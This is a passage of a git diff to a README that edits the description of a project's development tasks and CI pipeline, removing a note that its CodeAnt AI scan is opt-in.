2188976..c6a7b57 100644 --- a/README.md +++ b/README.md @@ -44,7 +44,7 @@ mise run setup # dev dependencies and git hooks mise run check # shellcheck, shfmt check and the bats tests: what CI runs ``` -`mise run` lists every task. The git hooks run the same checks before each commit. CI in [`.github/workflows/`](.github/workflows/) runs the checks and tests, this repository's own security gate (`mise run gate`), a gitleaks secret scan, Semgrep, dependency review, and CodeAnt AI scan (opt-in: set the CODEANT_ENABLED repository variable to true and add the CODEANT_API_TOKEN secret). Releases: [docs/RELEASING.md](docs/RELEASING.md). Changes: each package's `CHANGELOG.md`. +`mise run` lists every task. The git hooks run the same checks before each commit. CI in [`.github/workflows/`](.github/workflows/) runs the checks and tests, this repository's own security gate (`mise run gate`), a gitleaks secret scan, Semgrep, dependency review, and CodeAnt AI scan. Releases: [docs/RELEASING.md](docs/RELEASING.md). Changes: each package's `CHANGELOG.md`. ## Semgrep